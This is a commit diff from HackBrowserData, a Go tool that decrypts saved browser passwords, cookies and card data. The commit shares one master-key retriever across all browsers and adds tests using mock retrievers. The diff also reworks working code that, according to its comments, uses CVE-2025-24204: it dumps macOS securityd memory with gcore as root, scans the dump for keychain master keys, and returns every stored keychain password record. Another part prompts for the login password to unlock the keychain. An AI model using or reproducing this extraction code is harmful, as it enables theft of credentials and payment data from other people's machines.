mirror of
https://github.com/moonD4rk/HackBrowserData.git
synced 2026-07-06 21:37:47 +02:00
fix: share key retriever across all browsers to avoid repeated prompts (#560)
* fix: share key retriever across all browsers to avoid repeated password prompts
This commit is contained in:
+40
-19
@@ -8,6 +8,7 @@ import (
|
|||||||
|
|
||||||
"github.com/moond4rk/hackbrowserdata/browser/chromium"
|
"github.com/moond4rk/hackbrowserdata/browser/chromium"
|
||||||
"github.com/moond4rk/hackbrowserdata/browser/firefox"
|
"github.com/moond4rk/hackbrowserdata/browser/firefox"
|
||||||
|
"github.com/moond4rk/hackbrowserdata/crypto/keyretriever"
|
||||||
"github.com/moond4rk/hackbrowserdata/log"
|
"github.com/moond4rk/hackbrowserdata/log"
|
||||||
"github.com/moond4rk/hackbrowserdata/types"
|
"github.com/moond4rk/hackbrowserdata/types"
|
||||||
)
|
)
|
||||||
@@ -34,19 +35,27 @@ func PickBrowsers(opts PickOptions) ([]Browser, error) {
|
|||||||
return pickFromConfigs(platformBrowsers(), opts)
|
return pickFromConfigs(platformBrowsers(), opts)
|
||||||
}
|
}
|
||||||
|
|
||||||
// pickFromConfigs is the testable core of PickBrowsers.
|
// pickFromConfigs is the testable core of PickBrowsers. It iterates over
|
||||||
|
// platform browser configs, discovers installed profiles, and injects a
|
||||||
|
// shared key retriever into Chromium browsers for decryption.
|
||||||
func pickFromConfigs(configs []types.BrowserConfig, opts PickOptions) ([]Browser, error) {
|
func pickFromConfigs(configs []types.BrowserConfig, opts PickOptions) ([]Browser, error) {
|
||||||
name := strings.ToLower(opts.Name)
|
name := strings.ToLower(opts.Name)
|
||||||
if name == "" {
|
if name == "" {
|
||||||
name = "all"
|
name = "all"
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Create a single key retriever shared across all Chromium browsers.
|
||||||
|
// On macOS this avoids repeated password prompts; on other platforms
|
||||||
|
// it's harmless (DPAPI reads Local State per-profile, D-Bus is stateless).
|
||||||
|
retriever := keyretriever.DefaultRetriever(opts.KeychainPassword)
|
||||||
|
|
||||||
var browsers []Browser
|
var browsers []Browser
|
||||||
for _, cfg := range configs {
|
for _, cfg := range configs {
|
||||||
if name != "all" && cfg.Key != name {
|
if name != "all" && cfg.Key != name {
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Override profile directory when targeting a specific browser.
|
||||||
if opts.ProfilePath != "" && name != "all" {
|
if opts.ProfilePath != "" && name != "all" {
|
||||||
if cfg.Kind == types.Firefox {
|
if cfg.Kind == types.Firefox {
|
||||||
cfg.UserDataDir = filepath.Dir(filepath.Clean(opts.ProfilePath))
|
cfg.UserDataDir = filepath.Dir(filepath.Clean(opts.ProfilePath))
|
||||||
@@ -55,48 +64,60 @@ func pickFromConfigs(configs []types.BrowserConfig, opts PickOptions) ([]Browser
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if opts.KeychainPassword != "" {
|
found, err := newBrowsers(cfg)
|
||||||
cfg.KeychainPassword = opts.KeychainPassword
|
|
||||||
}
|
|
||||||
|
|
||||||
bs, err := newBrowsers(cfg)
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
log.Errorf("browser %s: %v", cfg.Name, err)
|
log.Errorf("browser %s: %v", cfg.Name, err)
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
if len(bs) == 0 {
|
if len(found) == 0 {
|
||||||
log.Debugf("browser %s not found at %s", cfg.Name, cfg.UserDataDir)
|
log.Debugf("browser %s not found at %s", cfg.Name, cfg.UserDataDir)
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
browsers = append(browsers, bs...)
|
|
||||||
|
// Inject the shared key retriever into browsers that need it.
|
||||||
|
// Chromium browsers implement retrieverSetter; Firefox does not.
|
||||||
|
for _, b := range found {
|
||||||
|
if setter, ok := b.(retrieverSetter); ok {
|
||||||
|
setter.SetRetriever(retriever)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
browsers = append(browsers, found...)
|
||||||
}
|
}
|
||||||
return browsers, nil
|
return browsers, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// newBrowsers dispatches to the correct engine based on BrowserKind.
|
// retrieverSetter is implemented by browsers that need an external key retriever.
|
||||||
|
// This allows pickFromConfigs to inject the shared retriever after construction
|
||||||
|
// without coupling the Browser interface to Chromium-specific concerns.
|
||||||
|
type retrieverSetter interface {
|
||||||
|
SetRetriever(keyretriever.KeyRetriever)
|
||||||
|
}
|
||||||
|
|
||||||
|
// newBrowsers dispatches to the correct engine based on BrowserKind
|
||||||
|
// and converts engine-specific types to the Browser interface.
|
||||||
func newBrowsers(cfg types.BrowserConfig) ([]Browser, error) {
|
func newBrowsers(cfg types.BrowserConfig) ([]Browser, error) {
|
||||||
switch cfg.Kind {
|
switch cfg.Kind {
|
||||||
case types.Chromium, types.ChromiumYandex, types.ChromiumOpera:
|
case types.Chromium, types.ChromiumYandex, types.ChromiumOpera:
|
||||||
bs, err := chromium.NewBrowsers(cfg)
|
found, err := chromium.NewBrowsers(cfg)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, err
|
return nil, err
|
||||||
}
|
}
|
||||||
browsers := make([]Browser, len(bs))
|
result := make([]Browser, len(found))
|
||||||
for i, b := range bs {
|
for i, b := range found {
|
||||||
browsers[i] = b
|
result[i] = b
|
||||||
}
|
}
|
||||||
return browsers, nil
|
return result, nil
|
||||||
|
|
||||||
case types.Firefox:
|
case types.Firefox:
|
||||||
bs, err := firefox.NewBrowsers(cfg)
|
found, err := firefox.NewBrowsers(cfg)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, err
|
return nil, err
|
||||||
}
|
}
|
||||||
browsers := make([]Browser, len(bs))
|
result := make([]Browser, len(found))
|
||||||
for i, b := range bs {
|
for i, b := range found {
|
||||||
browsers[i] = b
|
result[i] = b
|
||||||
}
|
}
|
||||||
return browsers, nil
|
return result, nil
|
||||||
|
|
||||||
default:
|
default:
|
||||||
return nil, fmt.Errorf("unknown browser kind: %d", cfg.Kind)
|
return nil, fmt.Errorf("unknown browser kind: %d", cfg.Kind)
|
||||||
|
|||||||
@@ -202,6 +202,75 @@ func TestPickFromConfigs_ProfilePath(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
// newBrowsers dispatcher
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
func TestNewBrowsersDispatch(t *testing.T) {
|
||||||
|
chromiumDir := t.TempDir()
|
||||||
|
mkFile(t, chromiumDir, "Default", "Preferences")
|
||||||
|
mkFile(t, chromiumDir, "Default", "History")
|
||||||
|
|
||||||
|
firefoxDir := t.TempDir()
|
||||||
|
mkFile(t, firefoxDir, "abc.default", "places.sqlite")
|
||||||
|
|
||||||
|
emptyDir := t.TempDir()
|
||||||
|
|
||||||
|
tests := []struct {
|
||||||
|
name string
|
||||||
|
cfg types.BrowserConfig
|
||||||
|
wantLen int
|
||||||
|
wantName string
|
||||||
|
wantProfile string
|
||||||
|
wantErr string
|
||||||
|
}{
|
||||||
|
{
|
||||||
|
name: "chromium dispatch",
|
||||||
|
cfg: types.BrowserConfig{Key: "chrome", Name: "Chrome", Kind: types.Chromium, UserDataDir: chromiumDir},
|
||||||
|
wantLen: 1,
|
||||||
|
wantName: "Chrome",
|
||||||
|
wantProfile: "Default",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "firefox dispatch",
|
||||||
|
cfg: types.BrowserConfig{Key: "firefox", Name: "Firefox", Kind: types.Firefox, UserDataDir: firefoxDir},
|
||||||
|
wantLen: 1,
|
||||||
|
wantName: "Firefox",
|
||||||
|
wantProfile: "abc.default",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "unknown kind returns error",
|
||||||
|
cfg: types.BrowserConfig{Key: "unknown", Name: "Unknown", Kind: types.BrowserKind(99)},
|
||||||
|
wantErr: "unknown browser kind",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "empty dir returns empty",
|
||||||
|
cfg: types.BrowserConfig{Key: "chrome", Name: "Chrome", Kind: types.Chromium, UserDataDir: emptyDir},
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, tt := range tests {
|
||||||
|
t.Run(tt.name, func(t *testing.T) {
|
||||||
|
found, err := newBrowsers(tt.cfg)
|
||||||
|
if tt.wantErr != "" {
|
||||||
|
require.Error(t, err)
|
||||||
|
assert.Contains(t, err.Error(), tt.wantErr)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
require.NoError(t, err)
|
||||||
|
require.Len(t, found, tt.wantLen)
|
||||||
|
if tt.wantLen > 0 {
|
||||||
|
assert.Equal(t, tt.wantName, found[0].BrowserName())
|
||||||
|
assert.Equal(t, tt.wantProfile, found[0].ProfileName())
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
// Helpers
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
|
||||||
// assertBrowsers verifies browser names and profiles match expectations (order-independent).
|
// assertBrowsers verifies browser names and profiles match expectations (order-independent).
|
||||||
func assertBrowsers(t *testing.T, browsers []Browser, wantNames, wantProfiles []string) {
|
func assertBrowsers(t *testing.T, browsers []Browser, wantNames, wantProfiles []string) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|||||||
@@ -1,6 +1,7 @@
|
|||||||
package chromium
|
package chromium
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"fmt"
|
||||||
"os"
|
"os"
|
||||||
"path/filepath"
|
"path/filepath"
|
||||||
"time"
|
"time"
|
||||||
@@ -16,15 +17,15 @@ import (
|
|||||||
type Browser struct {
|
type Browser struct {
|
||||||
cfg types.BrowserConfig
|
cfg types.BrowserConfig
|
||||||
profileDir string // absolute path to profile directory
|
profileDir string // absolute path to profile directory
|
||||||
retriever keyretriever.KeyRetriever // shared across profiles of the same browser
|
retriever keyretriever.KeyRetriever // set via SetRetriever after construction
|
||||||
sources map[types.Category][]sourcePath // Category → candidate paths (priority order)
|
sources map[types.Category][]sourcePath // Category → candidate paths (priority order)
|
||||||
extractors map[types.Category]categoryExtractor // Category → custom extract function override
|
extractors map[types.Category]categoryExtractor // Category → custom extract function override
|
||||||
sourcePaths map[types.Category]resolvedPath // Category → discovered absolute path
|
sourcePaths map[types.Category]resolvedPath // Category → discovered absolute path
|
||||||
}
|
}
|
||||||
|
|
||||||
// NewBrowsers discovers Chromium profiles under cfg.UserDataDir and returns
|
// NewBrowsers discovers Chromium profiles under cfg.UserDataDir and returns
|
||||||
// one Browser per profile. Uses ReadDir to find profile directories,
|
// one Browser per profile. Call SetRetriever on each returned browser before
|
||||||
// then Stat to check which data sources exist in each profile.
|
// Extract to enable decryption of sensitive data (passwords, cookies, etc.).
|
||||||
func NewBrowsers(cfg types.BrowserConfig) ([]*Browser, error) {
|
func NewBrowsers(cfg types.BrowserConfig) ([]*Browser, error) {
|
||||||
sources := sourcesForKind(cfg.Kind)
|
sources := sourcesForKind(cfg.Kind)
|
||||||
extractors := extractorsForKind(cfg.Kind)
|
extractors := extractorsForKind(cfg.Kind)
|
||||||
@@ -34,11 +35,6 @@ func NewBrowsers(cfg types.BrowserConfig) ([]*Browser, error) {
|
|||||||
return nil, nil
|
return nil, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// Create the key retriever once and share it across all profiles.
|
|
||||||
// This avoids repeated keychain password prompts on macOS, where each
|
|
||||||
// profile would otherwise trigger a separate `security` command dialog.
|
|
||||||
retriever := keyretriever.DefaultRetriever(cfg.KeychainPassword)
|
|
||||||
|
|
||||||
var browsers []*Browser
|
var browsers []*Browser
|
||||||
for _, profileDir := range profileDirs {
|
for _, profileDir := range profileDirs {
|
||||||
sourcePaths := resolveSourcePaths(sources, profileDir)
|
sourcePaths := resolveSourcePaths(sources, profileDir)
|
||||||
@@ -48,7 +44,6 @@ func NewBrowsers(cfg types.BrowserConfig) ([]*Browser, error) {
|
|||||||
browsers = append(browsers, &Browser{
|
browsers = append(browsers, &Browser{
|
||||||
cfg: cfg,
|
cfg: cfg,
|
||||||
profileDir: profileDir,
|
profileDir: profileDir,
|
||||||
retriever: retriever,
|
|
||||||
sources: sources,
|
sources: sources,
|
||||||
extractors: extractors,
|
extractors: extractors,
|
||||||
sourcePaths: sourcePaths,
|
sourcePaths: sourcePaths,
|
||||||
@@ -57,6 +52,13 @@ func NewBrowsers(cfg types.BrowserConfig) ([]*Browser, error) {
|
|||||||
return browsers, nil
|
return browsers, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// SetRetriever sets the key retriever used by Extract to obtain the
|
||||||
|
// master encryption key. Must be called before Extract if encrypted
|
||||||
|
// data (passwords, cookies, credit cards) needs to be decrypted.
|
||||||
|
func (b *Browser) SetRetriever(r keyretriever.KeyRetriever) {
|
||||||
|
b.retriever = r
|
||||||
|
}
|
||||||
|
|
||||||
func (b *Browser) BrowserName() string { return b.cfg.Name }
|
func (b *Browser) BrowserName() string { return b.cfg.Name }
|
||||||
func (b *Browser) ProfileDir() string { return b.profileDir }
|
func (b *Browser) ProfileDir() string { return b.profileDir }
|
||||||
func (b *Browser) ProfileName() string {
|
func (b *Browser) ProfileName() string {
|
||||||
@@ -120,6 +122,10 @@ func (b *Browser) acquireFiles(session *filemanager.Session, categories []types.
|
|||||||
// The retriever is always called regardless of whether Local State exists,
|
// The retriever is always called regardless of whether Local State exists,
|
||||||
// because macOS/Linux retrievers don't need it.
|
// because macOS/Linux retrievers don't need it.
|
||||||
func (b *Browser) getMasterKey(session *filemanager.Session) ([]byte, error) {
|
func (b *Browser) getMasterKey(session *filemanager.Session) ([]byte, error) {
|
||||||
|
if b.retriever == nil {
|
||||||
|
return nil, fmt.Errorf("key retriever not set for %s", b.cfg.Name)
|
||||||
|
}
|
||||||
|
|
||||||
// Try to locate and copy Local State (needed on Windows, ignored on macOS/Linux).
|
// Try to locate and copy Local State (needed on Windows, ignored on macOS/Linux).
|
||||||
// Multi-profile layout: Local State is in the parent of profileDir.
|
// Multi-profile layout: Local State is in the parent of profileDir.
|
||||||
// Flat layout (Opera): Local State is alongside data files in profileDir.
|
// Flat layout (Opera): Local State is alongside data files in profileDir.
|
||||||
|
|||||||
@@ -8,6 +8,7 @@ import (
|
|||||||
"github.com/stretchr/testify/assert"
|
"github.com/stretchr/testify/assert"
|
||||||
"github.com/stretchr/testify/require"
|
"github.com/stretchr/testify/require"
|
||||||
|
|
||||||
|
"github.com/moond4rk/hackbrowserdata/crypto/keyretriever"
|
||||||
"github.com/moond4rk/hackbrowserdata/filemanager"
|
"github.com/moond4rk/hackbrowserdata/filemanager"
|
||||||
"github.com/moond4rk/hackbrowserdata/types"
|
"github.com/moond4rk/hackbrowserdata/types"
|
||||||
)
|
)
|
||||||
@@ -438,3 +439,172 @@ func TestLocalStatePath(t *testing.T) {
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
// getMasterKey
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
// mockRetriever records the arguments passed to RetrieveKey.
|
||||||
|
type mockRetriever struct {
|
||||||
|
storage string
|
||||||
|
localState string
|
||||||
|
key []byte
|
||||||
|
err error
|
||||||
|
called bool
|
||||||
|
}
|
||||||
|
|
||||||
|
func (m *mockRetriever) RetrieveKey(storage, localStatePath string) ([]byte, error) {
|
||||||
|
m.called = true
|
||||||
|
m.storage = storage
|
||||||
|
m.localState = localStatePath
|
||||||
|
return m.key, m.err
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestGetMasterKey(t *testing.T) {
|
||||||
|
// Profile directory without Local State file.
|
||||||
|
dirNoLocalState := t.TempDir()
|
||||||
|
mkFile(dirNoLocalState, "Default", "Preferences")
|
||||||
|
mkFile(dirNoLocalState, "Default", "History")
|
||||||
|
|
||||||
|
tests := []struct {
|
||||||
|
name string
|
||||||
|
dir string
|
||||||
|
storage string
|
||||||
|
retriever keyretriever.KeyRetriever // nil → don't call SetRetriever
|
||||||
|
wantKey []byte
|
||||||
|
wantErr string
|
||||||
|
wantStorage string
|
||||||
|
wantLocalState bool // whether localStatePath passed to retriever is non-empty
|
||||||
|
}{
|
||||||
|
{
|
||||||
|
name: "nil retriever returns error",
|
||||||
|
dir: fixture.chrome,
|
||||||
|
wantErr: "key retriever not set",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "with Local State passes path to retriever",
|
||||||
|
dir: fixture.chrome,
|
||||||
|
storage: "Chrome",
|
||||||
|
retriever: &mockRetriever{key: []byte("fake-master-key")},
|
||||||
|
wantKey: []byte("fake-master-key"),
|
||||||
|
wantStorage: "Chrome",
|
||||||
|
wantLocalState: true,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "without Local State passes empty path",
|
||||||
|
dir: dirNoLocalState,
|
||||||
|
storage: "Chromium",
|
||||||
|
retriever: &mockRetriever{key: []byte("derived-key")},
|
||||||
|
wantKey: []byte("derived-key"),
|
||||||
|
wantStorage: "Chromium",
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, tt := range tests {
|
||||||
|
t.Run(tt.name, func(t *testing.T) {
|
||||||
|
browsers, err := NewBrowsers(types.BrowserConfig{
|
||||||
|
Name: "Test", Kind: types.Chromium, UserDataDir: tt.dir, Storage: tt.storage,
|
||||||
|
})
|
||||||
|
require.NoError(t, err)
|
||||||
|
require.NotEmpty(t, browsers)
|
||||||
|
|
||||||
|
b := browsers[0]
|
||||||
|
if tt.retriever != nil {
|
||||||
|
b.SetRetriever(tt.retriever)
|
||||||
|
}
|
||||||
|
|
||||||
|
session, err := filemanager.NewSession()
|
||||||
|
require.NoError(t, err)
|
||||||
|
defer session.Cleanup()
|
||||||
|
|
||||||
|
key, err := b.getMasterKey(session)
|
||||||
|
if tt.wantErr != "" {
|
||||||
|
require.Error(t, err)
|
||||||
|
assert.Contains(t, err.Error(), tt.wantErr)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
require.NoError(t, err)
|
||||||
|
assert.Equal(t, tt.wantKey, key)
|
||||||
|
|
||||||
|
mock, ok := tt.retriever.(*mockRetriever)
|
||||||
|
require.True(t, ok)
|
||||||
|
assert.True(t, mock.called)
|
||||||
|
assert.Equal(t, tt.wantStorage, mock.storage)
|
||||||
|
if tt.wantLocalState {
|
||||||
|
assert.NotEmpty(t, mock.localState)
|
||||||
|
} else {
|
||||||
|
assert.Empty(t, mock.localState)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
// Extract
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
func TestExtract(t *testing.T) {
|
||||||
|
// Shared fixture: profile with a real History database.
|
||||||
|
dir := t.TempDir()
|
||||||
|
mkFile(dir, "Default", "Preferences")
|
||||||
|
|
||||||
|
historyDB := createTestDB(t, "History", urlsSchema,
|
||||||
|
insertURL("https://example.com", "Example", 5, 13350000000000000),
|
||||||
|
)
|
||||||
|
profileDir := filepath.Join(dir, "Default")
|
||||||
|
data, err := os.ReadFile(historyDB)
|
||||||
|
require.NoError(t, err)
|
||||||
|
require.NoError(t, os.WriteFile(filepath.Join(profileDir, "History"), data, 0o644))
|
||||||
|
|
||||||
|
tests := []struct {
|
||||||
|
name string
|
||||||
|
retriever keyretriever.KeyRetriever // nil → don't call SetRetriever
|
||||||
|
wantRetriever bool // whether retriever should be called
|
||||||
|
}{
|
||||||
|
{
|
||||||
|
name: "without retriever extracts unencrypted data",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "with mock retriever",
|
||||||
|
retriever: &mockRetriever{key: []byte("test-key-16bytes")},
|
||||||
|
wantRetriever: true,
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, tt := range tests {
|
||||||
|
t.Run(tt.name, func(t *testing.T) {
|
||||||
|
browsers, err := NewBrowsers(types.BrowserConfig{
|
||||||
|
Name: "Test", Kind: types.Chromium, UserDataDir: dir, Storage: "Chrome",
|
||||||
|
})
|
||||||
|
require.NoError(t, err)
|
||||||
|
require.Len(t, browsers, 1)
|
||||||
|
|
||||||
|
if tt.retriever != nil {
|
||||||
|
browsers[0].SetRetriever(tt.retriever)
|
||||||
|
}
|
||||||
|
|
||||||
|
result, err := browsers[0].Extract([]types.Category{types.History})
|
||||||
|
require.NoError(t, err)
|
||||||
|
require.NotNil(t, result)
|
||||||
|
require.Len(t, result.Histories, 1)
|
||||||
|
assert.Equal(t, "Example", result.Histories[0].Title)
|
||||||
|
|
||||||
|
if tt.wantRetriever {
|
||||||
|
mock, ok := tt.retriever.(*mockRetriever)
|
||||||
|
require.True(t, ok)
|
||||||
|
assert.True(t, mock.called)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
// SetRetriever: verify *Browser satisfies the interface used by
|
||||||
|
// browser.pickFromConfigs for post-construction retriever injection.
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
func TestSetRetriever_SatisfiesInterface(t *testing.T) {
|
||||||
|
var _ interface {
|
||||||
|
SetRetriever(keyretriever.KeyRetriever)
|
||||||
|
} = (*Browser)(nil)
|
||||||
|
}
|
||||||
|
|||||||
@@ -66,17 +66,17 @@ type addressRange struct {
|
|||||||
end uint64
|
end uint64
|
||||||
}
|
}
|
||||||
|
|
||||||
// DecryptKeychain extracts the browser storage password from login.keychain-db
|
// DecryptKeychainRecords extracts all generic password records from login.keychain-db
|
||||||
// by dumping securityd memory and scanning for the keychain master key.
|
// by dumping securityd memory and scanning for the keychain master key.
|
||||||
// Requires root privileges.
|
// Requires root privileges.
|
||||||
func DecryptKeychain(storageName string) (string, error) {
|
func DecryptKeychainRecords() ([]keychainbreaker.GenericPassword, error) {
|
||||||
if os.Geteuid() != 0 {
|
if os.Geteuid() != 0 {
|
||||||
return "", errors.New("requires root privileges")
|
return nil, errors.New("requires root privileges")
|
||||||
}
|
}
|
||||||
|
|
||||||
pid, err := findProcessByName("securityd", true)
|
pid, err := findProcessByName("securityd", true)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return "", fmt.Errorf("failed to find securityd pid: %w", err)
|
return nil, fmt.Errorf("failed to find securityd pid: %w", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
// gcore appends ".PID" to the -o prefix, e.g. prefix.123
|
// gcore appends ".PID" to the -o prefix, e.g. prefix.123
|
||||||
@@ -86,27 +86,27 @@ func DecryptKeychain(storageName string) (string, error) {
|
|||||||
|
|
||||||
cmd := exec.Command("gcore", "-d", "-s", "-v", "-o", corePrefix, strconv.Itoa(pid))
|
cmd := exec.Command("gcore", "-d", "-s", "-v", "-o", corePrefix, strconv.Itoa(pid))
|
||||||
if err := cmd.Run(); err != nil {
|
if err := cmd.Run(); err != nil {
|
||||||
return "", fmt.Errorf("failed to dump securityd memory: %w", err)
|
return nil, fmt.Errorf("failed to dump securityd memory: %w", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
// vmmap identifies MALLOC_SMALL heap regions where securityd stores keys
|
// vmmap identifies MALLOC_SMALL heap regions where securityd stores keys
|
||||||
regions, err := findMallocSmallRegions(pid)
|
regions, err := findMallocSmallRegions(pid)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return "", fmt.Errorf("failed to find malloc small regions: %w", err)
|
return nil, fmt.Errorf("failed to find malloc small regions: %w", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
candidates, err := scanMasterKeyCandidates(corePath, regions)
|
candidates, err := scanMasterKeyCandidates(corePath, regions)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return "", err
|
return nil, fmt.Errorf("scan master key candidates: %w", err)
|
||||||
}
|
}
|
||||||
if len(candidates) == 0 {
|
if len(candidates) == 0 {
|
||||||
return "", fmt.Errorf("no master key candidates found in securityd memory")
|
return nil, fmt.Errorf("no master key candidates found in securityd memory")
|
||||||
}
|
}
|
||||||
|
|
||||||
// read keychain file once, reuse buffer for each candidate
|
// read keychain file once, reuse buffer for each candidate
|
||||||
keychainBuf, err := os.ReadFile(loginKeychainPath)
|
keychainBuf, err := os.ReadFile(loginKeychainPath)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return "", fmt.Errorf("read keychain: %w", err)
|
return nil, fmt.Errorf("read keychain: %w", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
// try each candidate key against the keychain
|
// try each candidate key against the keychain
|
||||||
@@ -123,14 +123,12 @@ func DecryptKeychain(storageName string) (string, error) {
|
|||||||
if err != nil {
|
if err != nil {
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
for _, rec := range records {
|
if len(records) > 0 {
|
||||||
if rec.Account == storageName {
|
return records, nil
|
||||||
return string(rec.Password), nil
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
return "", fmt.Errorf("tried %d candidates, none matched storage %q", len(candidates), storageName)
|
return nil, fmt.Errorf("tried %d candidates, none unlocked keychain", len(candidates))
|
||||||
}
|
}
|
||||||
|
|
||||||
// scanMasterKeyCandidates scans the core dump for 24-byte master key candidates.
|
// scanMasterKeyCandidates scans the core dump for 24-byte master key candidates.
|
||||||
|
|||||||
@@ -16,6 +16,8 @@ import (
|
|||||||
|
|
||||||
"github.com/moond4rk/keychainbreaker"
|
"github.com/moond4rk/keychainbreaker"
|
||||||
"golang.org/x/term"
|
"golang.org/x/term"
|
||||||
|
|
||||||
|
"github.com/moond4rk/hackbrowserdata/log"
|
||||||
)
|
)
|
||||||
|
|
||||||
// https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_mac.mm;l=157
|
// https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_mac.mm;l=157
|
||||||
@@ -31,30 +33,26 @@ const securityCmdTimeout = 30 * time.Second
|
|||||||
|
|
||||||
// GcoredumpRetriever uses CVE-2025-24204 to extract keychain secrets
|
// GcoredumpRetriever uses CVE-2025-24204 to extract keychain secrets
|
||||||
// by dumping the securityd process memory. Requires root privileges.
|
// by dumping the securityd process memory. Requires root privileges.
|
||||||
// The result is cached via sync.Once to avoid repeated memory dumps
|
// All keychain records are cached via sync.Once so the memory dump
|
||||||
// when multiple profiles share the same retriever instance.
|
// happens only once, even when shared across multiple browsers.
|
||||||
type GcoredumpRetriever struct {
|
type GcoredumpRetriever struct {
|
||||||
once sync.Once
|
once sync.Once
|
||||||
key []byte
|
records []keychainbreaker.GenericPassword
|
||||||
err error
|
err error
|
||||||
}
|
}
|
||||||
|
|
||||||
func (r *GcoredumpRetriever) RetrieveKey(storage, _ string) ([]byte, error) {
|
func (r *GcoredumpRetriever) RetrieveKey(storage, _ string) ([]byte, error) {
|
||||||
r.once.Do(func() {
|
r.once.Do(func() {
|
||||||
r.key, r.err = r.retrieveKeyOnce(storage)
|
r.records, r.err = DecryptKeychainRecords()
|
||||||
|
if r.err != nil {
|
||||||
|
r.err = fmt.Errorf("gcoredump: %w", r.err)
|
||||||
|
}
|
||||||
})
|
})
|
||||||
return r.key, r.err
|
if r.err != nil {
|
||||||
}
|
return nil, r.err
|
||||||
|
}
|
||||||
|
|
||||||
func (r *GcoredumpRetriever) retrieveKeyOnce(storage string) ([]byte, error) {
|
return findStorageKey(r.records, storage)
|
||||||
secret, err := DecryptKeychain(storage)
|
|
||||||
if err != nil {
|
|
||||||
return nil, fmt.Errorf("gcoredump: %w", err)
|
|
||||||
}
|
|
||||||
if secret == "" {
|
|
||||||
return nil, fmt.Errorf("gcoredump: empty secret for %s", storage)
|
|
||||||
}
|
|
||||||
return darwinParams.deriveKey([]byte(secret)), nil
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// loadKeychainRecords opens login.keychain-db and unlocks it with the given
|
// loadKeychainRecords opens login.keychain-db and unlocks it with the given
|
||||||
@@ -119,11 +117,11 @@ type TerminalPasswordRetriever struct {
|
|||||||
|
|
||||||
func (r *TerminalPasswordRetriever) RetrieveKey(storage, _ string) ([]byte, error) {
|
func (r *TerminalPasswordRetriever) RetrieveKey(storage, _ string) ([]byte, error) {
|
||||||
if !term.IsTerminal(int(os.Stdin.Fd())) {
|
if !term.IsTerminal(int(os.Stdin.Fd())) {
|
||||||
return nil, nil
|
return nil, fmt.Errorf("terminal: stdin is not a TTY")
|
||||||
}
|
}
|
||||||
|
|
||||||
r.once.Do(func() {
|
r.once.Do(func() {
|
||||||
fmt.Fprintf(os.Stderr, "Enter macOS login password for %s: ", storage)
|
fmt.Fprint(os.Stderr, "Enter macOS login password: ")
|
||||||
pwd, err := term.ReadPassword(int(os.Stdin.Fd()))
|
pwd, err := term.ReadPassword(int(os.Stdin.Fd()))
|
||||||
fmt.Fprintln(os.Stderr)
|
fmt.Fprintln(os.Stderr)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
@@ -131,6 +129,10 @@ func (r *TerminalPasswordRetriever) RetrieveKey(storage, _ string) ([]byte, erro
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
r.records, r.err = loadKeychainRecords(string(pwd))
|
r.records, r.err = loadKeychainRecords(string(pwd))
|
||||||
|
if r.err != nil {
|
||||||
|
log.Warnf("keychain unlock failed with provided password")
|
||||||
|
log.Debugf("keychain unlock detail: %v", r.err)
|
||||||
|
}
|
||||||
})
|
})
|
||||||
if r.err != nil {
|
if r.err != nil {
|
||||||
return nil, r.err
|
return nil, r.err
|
||||||
